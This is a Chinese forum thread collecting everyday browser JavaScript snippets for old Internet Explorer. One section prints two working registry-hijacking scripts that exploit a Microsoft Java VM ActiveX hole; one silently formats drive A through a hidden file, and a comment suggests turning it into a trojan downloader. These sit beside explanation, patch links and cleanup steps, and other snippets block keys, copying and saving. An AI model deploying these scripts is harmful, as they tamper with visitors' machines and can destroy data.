    GetTableData.prototype.MoveFirst = movefirst;

    在每个文本框的onblur事件中调用校验代码,并且每个文本框中onKeyDown事件中写一个enter转tab函数
    //回车键换为tab
    function enterToTab()
    {
        if(event.srcElement.type != 'button' && event.srcElement.type != 'textarea'
           && event.keyCode == 13)
        {
            event.keyCode = 9;
        }
    }

    固定表头技术(表格)
    方法一、

    用上下两个框架啊 上面的框架读“表头”,下面的框架读“内容”,如:
    <frameset rows="55,*" framespacing="0">
      <frame name="head" scrolling="no" frameborder="0" border="0" noresize src="表头.htm">
      <frame name="main" scrolling="auto" frameborder="0" border="0" noresize src="内容.htm">
    </frameset>


    方法二、
    用脚本:
    <body>

    <script language=JavaScript>
       self.onError=null;
       currentX = currentY = 0;  
       whichIt = null;           
       lastScrollX = 0; lastScrollY = 0;
       NS = (document.layers) ? 1 : 0;
       IE = (document.all) ? 1: 0;
       <!-- STALKER CODE -->
       function heartBeat() {
          if(IE) { diffY = document.body.scrollTop; diffX = document.body.scrollLeft; }
           if(NS) { diffY = self.pageYOffset; diffX = self.pageXOffset; }
          if(diffY != lastScrollY) {
                       percent = .1 * (diffY - lastScrollY);
                       if(percent > 0) percent = Math.ceil(percent);
                       else percent = Math.floor(percent);
                   if(IE) document.all.floater.style.pixelTop += percent;
                   if(NS) document.floater.top += percent; 
                       lastScrollY = lastScrollY + percent;
           }
          if(diffX != lastScrollX) {
             percent = .1 * (diffX - lastScrollX);
             if(percent > 0) percent = Math.ceil(percent);
             else percent = Math.floor(percent);
             if(IE) document.all.floater.style.pixelLeft += percent;
             if(NS) document.floater.left += percent;
             lastScrollX = lastScrollX + percent;
          }   
       }
       <!-- /STALKER CODE -->
       <!-- DRAG DROP CODE -->
       function checkFocus(x,y) { 
               stalkerx = document.floater.pageX;
               stalkery = document.floater.pageY;
               stalkerwidth = document.floater.clip.width;
               stalkerheight = document.floater.clip.height;
               if( (x > stalkerx && x < (stalkerx+stalkerwidth)) && (y > stalkery && y < (stalkery+stalkerheight))) return true;
               else return false;
       }
       function grabIt(e) {
          if(IE) {
             whichIt = event.srcElement;
             while (whichIt.id.indexOf("floater") == -1) {
                whichIt = whichIt.parentElement;
                if (whichIt == null) { return true; }
              }
             whichIt.style.pixelLeft = whichIt.offsetLeft;
              whichIt.style.pixelTop = whichIt.offsetTop;
             currentX = (event.clientX + document.body.scrollLeft);
                currentY = (event.clientY + document.body.scrollTop);    
          } else { 
               window.captureEvents(Event.MOUSEMOVE);
               if(checkFocus (e.pageX,e.pageY)) { 
                       whichIt = document.floater;
                       StalkerTouchedX = e.pageX-document.floater.pageX;
                       StalkerTouchedY = e.pageY-document.floater.pageY;
               } 
          }
           return true;
       }
       function moveIt(e) {
          if (whichIt == null) { return false; }
          if(IE) {
              newX = (event.clientX + document.body.scrollLeft);
              newY = (event.clientY + document.body.scrollTop);
              distanceX = (newX - currentX);    distanceY = (newY - currentY);
              currentX = newX;    currentY = newY;
              whichIt.style.pixelLeft += distanceX;
              whichIt.style.pixelTop += distanceY;
             if(whichIt.style.pixelTop < document.body.scrollTop) whichIt.style.pixelTop = document.body.scrollTop;
             if(whichIt.style.pixelLeft < document.body.scrollLeft) whichIt.style.pixelLeft = document.body.scrollLeft;
             if(whichIt.style.pixelLeft > document.body.offsetWidth - document.body.scrollLeft - whichIt.style.pixelWidth - 20) whichIt.style.pixelLeft = document.body.offsetWidth - whichIt.style.pixelWidth - 20;
             if(whichIt.style.pixelTop > document.body.offsetHeight + document.body.scrollTop - whichIt.style.pixelHeight - 5) whichIt.style.pixelTop = document.body.offsetHeight + document.body.scrollTop - whichIt.style.pixelHeight - 5;
             event.returnValue = false;
          } else { 
             whichIt.moveTo(e.pageX-StalkerTouchedX,e.pageY-StalkerTouchedY);
               if(whichIt.left < 0+self.pageXOffset) whichIt.left = 0+self.pageXOffset;
               if(whichIt.top < 0+self.pageYOffset) whichIt.top = 0+self.pageYOffset;
               if( (whichIt.left + whichIt.clip.width) >= (window.innerWidth+self.pageXOffset-17)) whichIt.left = ((window.innerWidth+self.pageXOffset)-whichIt.clip.width)-17;
               if( (whichIt.top + whichIt.clip.height) >= (window.innerHeight+self.pageYOffset-17)) whichIt.top = ((window.innerHeight+self.pageYOffset)-whichIt.clip.height)-17;
               return false;
          }
           return false;
       }
       function dropIt() {
          whichIt = null;
           if(NS) window.releaseEvents (Event.MOUSEMOVE);
           return true;
       }
       <!-- DRAG DROP CODE -->
       if(NS) {
          window.captureEvents(Event.MOUSEUP|Event.MOUSEDOWN);
          window.onmousedown = grabIt;
           window.onmousemove = moveIt;
          window.onmouseup = dropIt;
       }
       if(IE) {
          document.onmousedown = grabIt;
           document.onmousemove = moveIt;
          document.onmouseup = dropIt;
       }
       if(NS || IE) action = window.setInterval("heartBeat()",1);
    </script>
          <div id="floater" style="position:absolute; width:94px; height:55px; z-index:10; left: 200x; top: 233px">将你的文字或图片放在此处</div>

    </body>
    Re:在b-s开发中经常用到的javaScript技术(请大家逐个收集)
    处理数据:
    我想要113.23534543256435这个数的整数部分,用什么函数??

    答:

    方法一、
    <script language="JavaScript">
    var i;
    i=parseInt(113.23534543256435);
    alert(i);
    </script>


    方法二、
    <input type="text" name="t1" value="113.23534543256435">
    <script language="JavaScript">
    <!--
    var str = t1.value;
    var num = str.split(".");
    alert(num[0])
    //-->
    </script>


    方法三、
    Math.floor(12.12)
    Math.ceil(12.12) - 1


    方法四、
    <%
    a=1.24564641134654
    response.write fix(a)
    %>


    方法五、
    关于数值取舍,精度的问题详见MSDN
    下面的Number对象的方法仅适用于IE5.5及以上版本
    -------------------------------

    这里举一个取舍小数的例子(保留两位小数,四舍五入)
    var n = new Number(113.23534543256435);
    alert(n.toFixed(2));

    另外,还有指数
    var n = new Number(113.23534543256435);
    alert(n.toExponential(2));

    关于SELECT列表框添加值的问题
    示例代码1、
    <script>
    function addToSel(value){
      if (value.length == 0) return;
      
      var oOpt = document.createElement("option");
      oOpt.value = value;
      oOpt.innerText = value;
      sel.appendChild(oOpt);
    }
    </script>  

    <select id=sel>
    </select>

    <input type=text id=txt>
    <input type=button value=addtosel οnclick="addToSel(txt.value)">


    示例代码2、

    <html>

    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
    <title>新建网页 1</title>
    </head>

    <body>
    <input type="button" id="btn" οnclick="addItem()">
    <select id="slt">
    </select>
    <input type="text" id="txt">


    <script language="javascript">
    <!--
    function addItem()
    {
       slt.options[slt.options.length] = new Option( txt.value,txt.value);
    }
    //-->
    </script>
    </body>

    </html>


    Re:在b-s开发中经常用到的javaScript技术(请大家逐个收集)
    屏闭一些键:

    function KeyDown(){   //屏蔽鼠标右键、Ctrl+n、shift+F10、F5刷新、退格键
       //alert("ASCII代码是:"+event.keyCode);
      if ((window.event.altKey)&&
          ((window.event.keyCode==37)||   //屏蔽 Alt+ 方向键 ←
           (window.event.keyCode==39))){  //屏蔽 Alt+ 方向键 →
         alert("不准你使用ALT+方向键前进或后退网页!");
         event.returnValue=false;
         }
      if ((event.keyCode==8)  ||                 //屏蔽退格删除键
          (event.keyCode==116)||                 //屏蔽 F5 刷新键
          (event.keyCode==112)||                 //屏蔽 F1 刷新键
          (event.ctrlKey && event.keyCode==82)){ //Ctrl + R
         event.keyCode=0;
         event.returnValue=false;
         }
      if ((event.ctrlKey)&&(event.keyCode==78))   //屏蔽 Ctrl+n
         event.returnValue=false;
      if ((event.shiftKey)&&(event.keyCode==121)) //屏蔽 shift+F10
         event.returnValue=false;
      if (window.event.srcElement.tagName == "A" && window.event.shiftKey) 
          window.event.returnValue = false;  //屏蔽 shift 加鼠标左键新开一网页
      if ((window.event.altKey)&&(window.event.keyCode==115)){ //屏蔽Alt+F4
          window.showModelessDialog("about:blank","","dialogWidth:1px;dialogheight:1px");
          return false;}
    }
    1. οncοntextmenu="window.event.returnvalue=false"   将彻底屏蔽鼠标右键 
    2. <body onselectstart="return false">         取消选取、防止复制 
    3. οnpaste="return false"               不准粘贴 
    4. οncοpy="return false;" oncut="return false;"    防止复制;防止剪切
    5. <link rel="Shortcut Icon" href="favicon.ico"> IE地址栏前换成自己的图标 
    6. <link rel="Bookmark" href="favicon.ico">     可以在收藏夹中显示出你的图标 
    7. <input style="ime-mode:disabled">             关闭输入法

    8. 永远都会带着框架 
    <script language="javascript"><!-- 
     if (window==top)
      top.location.href="frames.htm"; 
    file://frames.htm为框架网页 
    // --></script>

    9. 防止被人frame 
    <SCRIPT LANGUAGE=javascript><!--  
     if (top.location!=self.location)
      top.location=self.location; 
    // --></SCRIPT> 

    10. <noscript><iframe src=*.html></iframe></noscript>  网页将不能被另存为


    Re:在b-s开发中经常用到的javaScript技术(请大家逐个收集)
    1、去掉窗口滚动条
    scroll="no" style="overflow-y:hidden" 

    2、背景图不再平铺
    <style> body{background-image:url(logo.gif);background-repeat:no-repeat;background-position:center}
    </style> 

    3、背景图不再滚动
    IE浏览器支持一个 Body 属性 bgproperties,它可以让背景不滚动: 
    <Body Background="图片文件" bgproperties="fixed"> 

    4、设置flash背景为透明
    wmode=transparent

    5、让IFRAME框架内的文档的背景透明
    <iframe src="你要加入的页面" allowtransparency="true"></iframe>

    下面这一句加在你要嵌入的页面中:
    <body style=background:transparent>

    6、表格也可透明
    table { background-color: #996600; filter: Alpha(Opacity=40, Style=0)}
    注意:这样加入会影响表格内的图片文字等内容,大家可以这样解决,如下:
      <table width="75%" border="1" height="316">
        <tr> 
          <td><span style="position: relative; left:0px; top: 0px">through a top-down, 
            proactive approach we can remain customer focused and goal-directed, innovate 
            an</span></td>
          <td bgcolor="#993300"> 
            <div align="center"><span style="position: relative; left:0px; top: 0px"><img src="box.gif" width="100" 

    height="100"></span></div>
          </td>
          <td><span style="position: relative; left:0px; top: 0px">through a top-down, 
            proactive approach we can remain customer focused and goal-directed, innovate 
            an</span></td>
        </tr>
      </table>

    一个可以使背景变色的函数
    function highlight(which,color){

    if (document.all||document.getElementById)

    which.style.backgroundColor=color

    }

    例:
    <a href="
    http://www.jojooo.net/" onMouseover=highlight(this,'yellow') onMouseout="highlight(this,document.bgColor)">Free-backgrounds</a>

    Re:在b-s开发中经常用到的javaScript技术(请大家逐个收集)
    实例1:限制图片显示大小。(可认解决论坛贴图撑大表格一事)
    如果想在网页中某个位置显示图片,而事先不能确定图片的大小,可在<img>标识中加

    入这句代码:οnlοad='javascript:if(this.width>screen.width-$zoom)

    this.width=screen.width-$zoom'。这里的$zoom是调整值,你可根据实际需要,选取

    合适的数值。

    实例:
    <img border="0" src="tuyuan/b/b2003-11-01-22-53-37.jpg" 

    οnlοad='javascript:if(this.width>screen.width-369)this.width=screen.width-

    369'>

    实例2:根据鼠标状态显示不同图片。

    该代码主要用于导航或广告图片。

    代码:

    <script language="javascript">

    function change_image($obj,$new_image)

    {

        $obj.src=$new_image;

    }

    </script>

    调用方式:

    <img src=doc_images/show1.gif οnmοuseοver="change_image

    (this,'doc_images/question2.gif')" οnmοuseοut="change_image

    (this,'doc_images/question1.gif')">


    关于引用外部样式表的几种方法(总结)

    第一种(常见)、
    <link href="../css/style.css" rel="stylesheet" type="text/css">


    第二种(少见)、
    <STYLE type=text/css>
    @import url( wang/Mycss.css );
    </STYLE>

    第三种(动态加载)、
    <link rel="stylesheet" href="upfiles/style_1.css">
    <link rel="stylesheet" href="upfiles/style_2.css">
    <link rel="stylesheet" href="upfiles/style_3.css">
    <link rel="stylesheet" href="upfiles/style_4.css">
    <script language="JavaScript">
    <!--
    var doAlerts=false;
    function changeSheets(whichSheet){
      whichSheet=whichSheet-1;
      if(document.styleSheets){
        var c = document.styleSheets.length;
        if (doAlerts) alert('Change to Style '+(whichSheet+1));
        for(var i=0;i<c;i++){
          if(i!=whichSheet){
            document.styleSheets[i].disabled=true;
          }else{
            document.styleSheets[i].disabled=false;
          }
        }
      }
    }

    使用:
    <a href="JavaScript:changeSheets(1)">Style 
              One</a> <a href="JavaScript:changeSheets(2)">Style Two</a> <a href="JavaScript:changeSheets(3)">Style 
              Three</a> <a href="JavaScript:changeSheets(4)">Style Four</a>


    怎么操作注册表?
    (此段代码是恶意修改注册表,非常令人生厌,希望大家用在正途,另:此段代码被Norton AntiVirus 8.0 企业中文版拦截)

    <html>
    <head>
    <title>恢复</title>
    <script language="javascript">
    <!--
    document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");

    function yuzi()


    try{ 
    a1=document.applets[0]; 
    a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}"); 
    a1.createInstance();Shl = a1.GetObject(); 
    a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}"); 
    try{ 
    Shl.RegWrite("HKCU//Software//Microsoft//Internet Explorer//Main//Start Page","about:blank"); 
    Shl.RegWrite ("HKLM//Software//Microsoft//Internet Explorer//Main//Window Title", "yyc welcome you!!"); 
    Shl.RegWrite ("HKCU//Software//Microsoft//Internet Explorer//Main//Window Title", "yyc welcome you!!"); 
    }catch(e) 
    {} 
    }catch(e) 
    {} 

    setTimeout("yuzi()",1000);
    //-->
    </script> 
    </head>
    <body>
    修改成功!!
    </body>
    </html>

    最近发现很多网友发表用javascript修改用户注册表的代码, 同时一些网站为将自己设为用户browser的home page或IE的标题, 故意使用这种代码. 在次, 我将向大家介绍,如何防止被网站修改了你的注册表.

    首先让我们来看一下网站修改注册表的javascript code.

    -----------------------------------------------------------------------------------------------------

    <script>
    //初始化actiVex控件
    document.write("")
    //初始化actiVex控件结束
    //定义变量
    function reg(){
    try
    {
    //设定applets为0
    a=document.applets[0]
    //初始化Windows Script Host Shell Object
    a.setCLSID("{f935dc22-1cf0-11d0-adb9-00c04fd58a0b}")
    a.createInstance()
    S=a.GetObject()
    //初始化FileSystem Object
    a.setCLSID("{0d43fe01-f093-11cf-8940-00a0c9054228}")
    a.createInstance();
    fs=a.GetObject()
    try
    {
    //开始写注册表
    //设定IE的标题为Internet Explorer
    S.RegWrite ("HKEY_CURRENT_USER//Software//Microsoft//Internet Explorer//Main//Window Title","Internet Explorer")
    //设定IE的默认首页为空白页
    S.RegWrite ("HKEY_CURRENT_USER//Software//Microsoft//Internet Explorer//Main//Start Page","about:blank")
    //让设定首页那项变灰
    S.RegWrite ("HKEY_USERS//.DEFAULT//Software//Policies//Microsoft//Internet Explorer//Control Panel//HomePage",0x1,"REG_DWORD")
    //让设定分级审查设定那项变灰
    S.RegWrite ("HKEY_USERS//.DEFAULT//Software//Policies//Microsoft//Internet Explorer//Control Panel//SecChangeSettings",0x1,"REG_DWORD")
    //在网页右键菜单中加入调用文件的命令
    S.RegWrite ("HKEY_CURRENT_USER//Software//Microsoft//Internet Explorer//MenuExt//格式化A盘
    //","c://format-a.txt.{3050f4d8-98b5-11cf-bb82-00aa00bdce0b}");
    //写入值为0xf3的dowrd值 注意[REG_SZ:字符型 REG_DWORD:双字节型 REG_BINARY:二进制型]
    //对于REG_DWORD型和REG_BINARY型则有两种赋值方式 
    //直接用十进制的数表示,如:0,1等
    //用十六进制的数表示,如:0x12,0xff等
    S.RegWrite ("HKEY_CURRENT_USER//Software//Microsoft//Internet Explorer//MenuExt//格式化A盘
    //contexts",0xf3,"REG_DWORD")
    //结束写注册表
    //开始写硬盘
    //生成一个名为c://5flash.txt.{3050f4d8-98b5-11cf-bb82-00aa00bdce0b}的文件
    hd=fs.CreateTextFile("c://format-a.txt.{3050f4d8-98b5-11cf-bb82-00aa00bdce0b}")
    //把这个文件写入javascript内容
    //脚本中的start /m 为最小化窗口 /autotest为自动 /u为无条件格式化
    hd.write('<script>a=new ActiveXObject ("WSCript.Shell");a.run("start /m format.com a:/q /autotest /u");alert ("正在更新a盘系统文件,请稍等......");<//script>')
    //关闭这个文件
    hd.close()
    //把这个文件下载到客户机的c盘中,这里的路径完全可以改成网络上的,然后在后面接上.Copy("d:/format.txt"),这个脚本可以改成下载木马
    //格式为file=fs.GetFile("网络路径").Copy("运行路径")
    //这个脚本如果配合asp,那么完全成了一个功能非常强大的木马了
    file=fs.GetFile("c://format-a.txt.{3050f4d8-98b5-11cf-bb82-00aa00bdce0b}")
    //设定这个文件的属性为隐藏
    file.Attributes=6
    //结束写硬盘
    }
    catch(reg)
    {}
    }
    catch(reg)
    {}
    }
    function flash()
    {
    //隔100毫秒就运行一次
    setTimeout("reg()",100)
    }
    flash()
    //最后再重申,这个脚本不可用来害人,谢~
    </script>


    -----------------------------------------------------------------------------------------------------

    大家会注意到, 这段代码首先会将com.ms.activeX.ActiveXComponent写到page中去,然后通过它来创建对{0d43fe01-f093-11cf-8940-00a0c9054228}即WScript.Shell的引用,所以问题的关键点就是javascript能在网页中使用com.ms.activeX.ActiveXComponent作为applet. 而com.ms.activeX.ActiveXComponent是Microsoft设计出来在Java Application和签名的可信任applet中使用的, 它本身不应该被作为applet在javascript中使用.这是Microsoft的Java VM的一个漏洞, 这个漏洞将会影响以下一些版本的VM:

     1. builds 版本 2000 系列

     2. builds 版本 3100 系列

     3. builds 版本 3200 系列

     4. builds 版本 3300 系列

    大家可以在命令行输入jview,  看到version x.xx.xxxx中的xxxx就是你的builds号.

    针对这个漏洞, Microsoft给出了响应的补丁, 请到

    http://www.microsoft.com/java/vm/dl_vm40.htm

    去下栽安装最新版的VM.

     

    关于此漏洞的详细描述请看Microsfot的Knowledge base:

    http://support.microsoft.com/support/kb/articles/Q275/6/09.ASP?LN=EN-US

     

    最近, Microsoft在browser, email和IIS方面发现很多严重漏洞, 大家一定要经常的它的http://windowsupdate.microsoft.com/站点去看看有没有新的补丁要打. 很多病毒和黑客程序都是利用用户的麻痹大意来攻击.


    由于近期很多网友反映自己的IE遭到一些,网站使用Javascipt技术的恶意更改,因此,本论坛特推出这个修改专题,希望大家可以应付这些情况。如果大家还有什么问题可以去我们的软件诊所来问。


    一、修改IE的标题栏 

    即在IE浏览器最上方的蓝色横条里做广告,而不是显示默认的“Microsoft Internet Explorer”。这种修改非常常见,有人也特意针对它编制了反修改的程序。 

    1.注册表法 

    HKEY_LOCAL_MACHINE/Software/Microsoft/Internet Explorer/Main 
    HKEY_CURRENT_USER/Software/Microsoft/Internet Explorer/Main在注册表中找到以上两处主键,将其下的“Window Title”主键删除,并关闭所有打开的IE浏览器窗口再重新打开就能看到效果。 

    2.MagicSet法 

    点击“IE 4/5”,点击与“IE 标题”字体平行的“复原”按钮即可。


    二、修改IE的首页 

    这个改回来很方便,在IE的设置里就有。比较麻烦的是某些网页在浏览者的硬盘里写入程序,使重启计算机后首页设置又被改了回去,这时可使用“系统配置实用程序”来解决。开始—运行,键入msconfig点击“确定”,在弹出的窗口中切换到“启动”选项卡,禁用可疑程序启动项。 


    三、在Windows启动时显示一个窗口,点确定才能进去 

    这个设置其实与IE无关,而是Windows的登录提示窗口,不过最近有些网页对它动上了脑筋,在这个窗口里做广告。 

    1.注册表法 

    HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Winlogon在注册表中找到此主键,将其下的“LegalNoticeCaption”和“LegalNoticeText”主键删除即可。 

    2.MagicSet法 

    点击“安全与多用户”,再点击左上角的“+”切换窗口后,清除“启动时要显示的标题”和“启动时要显示的信息”两项内容即可。 


    四、在IE里点击鼠标右键。在弹出的菜单里显示网页广告 

    这种情况很少见,我还没碰到过,不过解决方法也不复杂。 

    1.注册表法 

    HKEY_CURRENT_USER/Software/Microsoft/Internet Explorer/MenuExt在IE中显示的附加右键菜单都在这里设置,常见的网络蚂蚁和网际快车点击右键下载的信息也存放在这里,只需找到显示广告的主键条目删除即可。 

    2.MagicSet法 

    点击“IE 4/5”,再点击左上角的“+”切换窗口后,在上方的列表窗口中即可修改、删除IE的附加右键菜单项。 


    五、禁止或允许用户修改IE首页:

      运行注册表编辑器(开始菜单-运行-regedit-确定), 打开[HKEY_CURRENT_USER/Software/Policies/Microsoft/Internet Explorer/Control Panel], 其实一般此键是不存在的, 只存在[HKEY_CURRENT_USER/Software/Policies/Microsoft], 所以后面一截你要自己建立, 主键建立完后在Control Panel键下新建一个DWORD值数据, 键名为HOMEPAGE(不分大小写), 键值为1. 此时你打开IE属性时可以发现它改首页设置的部分已经不可用了. 当然如果你想先指定主页的话可以把HOMEPAGE的值改为0或删除它, 然后修改主页设置, 再把HOMEPAGE改回来即可


    六、去掉注册表编辑器被锁定问题


    win2000系统

    Windows Registry Editor Version 5.00

    [Hkey_current_user/Software/microsoft/windows/currentversion/Policies/system]
    "DisableRegistryTools"=dword:00000000


    win98/me系统

    REGEDIT4

    [HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Policies/System]
    "DisableRegistryTools"=dword:00000000


    将以上代码copy到记事本中,然后将这个文件的名字改为*.reg双击运行可以解除你的锁定状态.
    如果你对这个东西不是很了解可以点击这里下载reg文件2000系统的,98/me系统的


    七、防范 

    1.因为修改注册表设置都是用的JavaScript脚本语言,所以只需禁用它即可。但这种脚本语言应用广泛,所以建议在IE的设置中将脚本设为“提示”。 

    2.建议使用一些单窗口多页面的浏览器如NetCaptor,myie等,因为它们往往能更方便地切换脚本设置,象我常用的NetCaptor,用工具栏中的“安全”按钮能很方便地设置脚本、ActiveX和Cookie的启用情况。 

    3.使用IE6.0,虽然迟迟看不到这个浏览器的正式版本,而且测试版问题很多,但据用过的人说使用它浏览网页,将无法再随意修改你的注册表。 

    4.使用Win2000的朋友,只需在“控制面板”—“管理工具”—“服务”中禁用Remote Registry Service服务,也无法通过浏览网页来修改你的注册表了。 

    5.使用Norton AntiVirus 2002 v8.0杀毒软件,这个版本新增Script Blocking功能,将通过IE修改注册表的代码定义为Trojan.Offensive并予以拦截


    再次强调大家不要乱用,没什么意义!

    IE功能全收集(还有很多可挖,大尽量试)
    <html>

    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
    <meta name="GENERATOR" content="Microsoft FrontPage 4.0">
    <meta name="ProgId" content="FrontPage.Editor.Document">
    <title>IE功能汇集</title>
    </head>

    <body>
    <div align="center">
      <center>
    <table border="1" width="90%" bordercolor="#000000" cellspacing="0" cellpadding="0" bordercolorlight="#000000" bordercolordark="#FFFFFF">
      <tr>
        <td width="100%"> 
    <OBJECT classid=CLSID:8856F961-340A-11D0-A96B-00C04FD705A2 height=0 id=WebBrowser width=0>
      </OBJECT> 
      <input οnclick=document.all.WebBrowser.ExecWB(1,1) type=button value=打开 name=Button1>
      <input οnclick=document.all.WebBrowser.ExecWB(2,1) type=button value=关闭现在所有的IE窗口,并打开一个新窗口 name=Button2>
      <input οnclick=document.all.WebBrowser.ExecWB(4,1) type=button value=另存为 name=Button3>        
      <input οnclick=document.all.WebBrowser.ExecWB(6,1) type=button value=打印 name=Button4>
      <input οnclick=document.all.WebBrowser.ExecWB(7,1) type=button value=打印预览 name=Button5>
      <input οnclick=document.all.WebBrowser.ExecWB(8,1) type=button value=打印页面设置 name=Button6>
      <input οnclick=document.all.WebBrowser.ExecWB(10,1) type=button value=查看页面属性 name=Button7>        
      <input οnclick=document.all.WebBrowser.ExecWB(15,1) type=button value=撤销 name=Button8>        
      <input οnclick=document.all.WebBrowser.ExecWB(17,1) type=button value=全选 name=Button9>        
      <input οnclick=document.all.WebBrowser.ExecWB(22,1) type=button value=刷新 name=Button10>        
      <input οnclick=document.all.WebBrowser.ExecWB(45,1) type=button value=无提示关闭窗口 name=Button11> 
      <br/>        
      <br/>        
      <input οnclick=window.location.reload() type=button value=刷新 name=refresh>        
      <input οnclick="window.external.ImportExportFavorites(true,'');" type=button value=导入收藏夹 name=Button12>        
      <input οnclick="window.external.ImportExportFavorites(false,'');" type=button value=导出收藏夹 name=Button13>        
      <input οnclick="window.external.AddFavorite(location.href, document.title)" type=button value=加入收藏夹 name=Button14>        
      <input οnclick="window.external.ShowBrowserUI('OrganizeFavorites', null)" type=button value=整理收藏夹 name=Submit2>        
      <input οnclick='window.location="view-source:" + window.location.href' type=button value=查看源文件 name=Button15>        
      <input οnclick="window.external.ShowBrowserUI('LanguageDialog', null)" type=button value=语言设置 name=Button16>        
      <input οnclick=history.go(1) type=submit value=前进 name=Submit>        
      <input οnclick=history.go(-1) type=submit value=后退 name=Submit2>        
      <br/>        
      <br/>        
    <input type=button value=剪切     οnclick=document.execCommand('Cut')>       
    <input type=button value=拷贝     οnclick=document.execCommand('Copy')>       
    <input type=button value=粘贴     οnclick=document.execCommand('Paste')>       
    <input type=button value=撤消     οnclick=document.execCommand('Undo')>       
    <input type=button value=删除     οnclick=document.execCommand('Delete')>       
    <input type=button value=黑体     οnclick=document.execCommand('Bold')>       
    <input type=button value=斜体     οnclick=document.execCommand('Italic')>       
    <input type=button value=下划线   οnclick=document.execCommand('Underline')>       
    <input type=button value=停止     οnclick=document.execCommand('stop')>       
    <input type=button value=保存     οnclick=document.execCommand('SaveAs')>       
    <input type=button value=另存为   οnclick=document.execCommand('Saveas',false,'c://test.htm')>       
    <input type=button value=字体     οnclick=document.execCommand('FontName',false,fn)>       
    <input type=button value=字体大小 οnclick=document.execCommand('FontSize',false,fs)>       
    <input type=button value=刷新     οnclick=document.execCommand('refresh',false,0)>       

    <input type=button value=刷新 οnclick=window.location.reload()>       
    <input type=button value=前进 οnclick=history.go(1)>       
    <input type=button value=后退 οnclick=history.go(-1)>       
    <input type=button value=前进 οnclick=history.forward()>       
    <input type=button value=后退 οnclick=history.back()>       
      <br/>        
      <br/>        
      <br/>        
      <br/>        
    <input type=button value=导入收藏夹 οnclick=window.external.ImportExportFavorites(true,"
    http://localhost");>       
    <input type=button value=导出收藏夹 οnclick=window.external.ImportExportFavorites(false,"
    http://localhost");>       
    <input type=button value=整理收藏夹 οnclick="window.external.ShowBrowserUI('OrganizeFavorites', null)">       
    <input type=button value=查看源文件 οnclick="window.location = 'view-source:'+ window.location.href">       
    <input type=button value=语言设置   οnclick="window.external.ShowBrowserUI('LanguageDialog', null)">       
    <input type=button value=加入收藏夹 οnclick="window.external.AddFavorite('http://fason.nease.net/', 'Fason的小天地')">       
    <input type=button value=加入到频道 οnclick="window.external.addChannel('http://fason.nease.net/')">       
    <input type=button value=设成主页   οnclick="this.style.behavior='url(#default#homepage)';this.setHomePage('http://fason.nease.net/')">             
       </td>
      </tr>
    </table>
      </center>
    </div>
    <p align=right><A href="
    http://fason.nease.net" style="text-decoration:none">【阿信的小天地】</a></p>
    </body>

    </html>


    网页常用代码集
    简单的window.open方法 
      <a href="#" οnclick="javascript:window.open('文件路径/文件名',
      'listnote','toolbar=no,scrollbars=yes,resizable=no,top=0,left=0,
      width=350,height=300');">文字或图片
      </a> 
    图片随机替换 
      <script>
      document.write('<img src="img/'+ parseInt(Math.random()*(5))
      +'.gif"height="40" width="50">')
      </script> 
      图片文件名为0.gif 1.gif 2.gif 3.gif 4.gif 
    设为首页 
      <a href="#" οnclick="this.style.behavior='url(#default#homepage)';
    this.setHomePage('http://cu1985.126.com')" height="2"> 
    加入收藏 
      <a href="javascript:window.external.
    AddFavorite('http://www.wosay.net', 'wosay中文网')"> 
    忽视右键 
      <body οncοntextmenu="return false">
      或
      <body style="overflow-y:hidden"> 
    自动转页    
      <META HTTP-EQUIV="Refresh" CONTENT="时间(单位为秒);URL=地址"> 
    加入背景音乐 
      IE:<bgsound src="*.mid" loop=infinite>
      NS:<embed src="*.mid" autostart=true hidden=true loop=true>
      </embed>
      *.mid你的背景音乐的midi格式文件 
    网页自动刷新  
      在head部记入
      <META HTTP-EQUIV="Refresh" content="20">
      其中20为20秒后自动刷新,你可以更改为任意值。 
    拉动页面时背景图不动    
      <html><head>
      <style>
      body  {background-image:url(logo.gif);
        background-repeat:no-repeat; background-position:center }
      </style>
      </head> 

    让浏览器在保存页面时保存失败       
      <NOSCRIPT>
      <iframe src="*.html">
      </iframe>
      </NOSCRIPT> 
    在网页中,图片和表格接触的地方如何不留空隙?       
      要使图片和表格接触的地方不留空隙,仅在表格属性面板上把外框线(border)设为0是不行的,不仅仅只是表格外框,还有两个设置,即在表格的属性面板上还要把单元格的两个属性设为0(cellspacing="0" cellpadding="0")。 
    如何把自己放在主页上的zip或其他文件让浏览者下载(down)? 
      用Dreamweaver3其实很简单,把要让浏览者下载的文件名写上,然后拖动鼠标选取这段文字,在文本的属性面板上"Link"的属性输入框中写上文件名就行了。注意:若被下载的文件与该网页不在同一目录下,则文件名必须包含相对路径,否则到下载时将提示找不到文件。 
    点击连接打开本地"我的电脑"等 
      
    <a href="
    file:///::{20D04FE0-3AEA-1069-A2D8-08002B30309D}" target="_blank">我的电脑</a>
      <a href="
    file:///::{208D2C60-3AEA-1069-A2D7-08002B30309D}" target="_blank">网上邻居</a>
      <a href="
    file:///::{645FF040-5081-101B-9F08-00AA002F954E}" target="_blank">回收站</a>
      <a href="
    file:///::{7007ACC7-3202-11D1-AAD2-00805FC1270E}" target="_blank">网络和拨号连接</a>
      <a href="
    file:///::{D20EA4E1-3957-11d2-A40B-0C5020524153}" target="_blank">管理工具</a>
      <a href="
    file:///::{2227A280-3AEA-1069-A2DE-08002B30309D}" target="_blank">打印机</a>
      <a href="
    file:///::{D6277990-4C6A-11CF-8D87-00AA0060F5BF}" target="_blank">计划任务</a>
      <a href="
    file:///::{D20EA4E1-3957-11d2-A40B-0C5020524152}" target="_blank">字体</a>
    简单的页面加密  
       <script LANGUAGE="JAVASCRIPT">
       <!--
       loopy()
       function loopy()
       {
       var sWord =""
       while (sWord != "login")
       {
       sWord = prompt("请输入你的登陆密码")
       }
       alert("登陆成功!")
       }
       //-->
       </script> 
    网页自动关闭       
       <html>
       <head>
       <object
       id=closes
       type="application/x-oleobject"
       classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
       <param name="Command" value="Close">
       </object>
       </head>
       <body οnlοad="window.setTimeout('closes.Click()',10000)">
       这个窗口会在10秒过后自动关闭,而且不会出现提示.
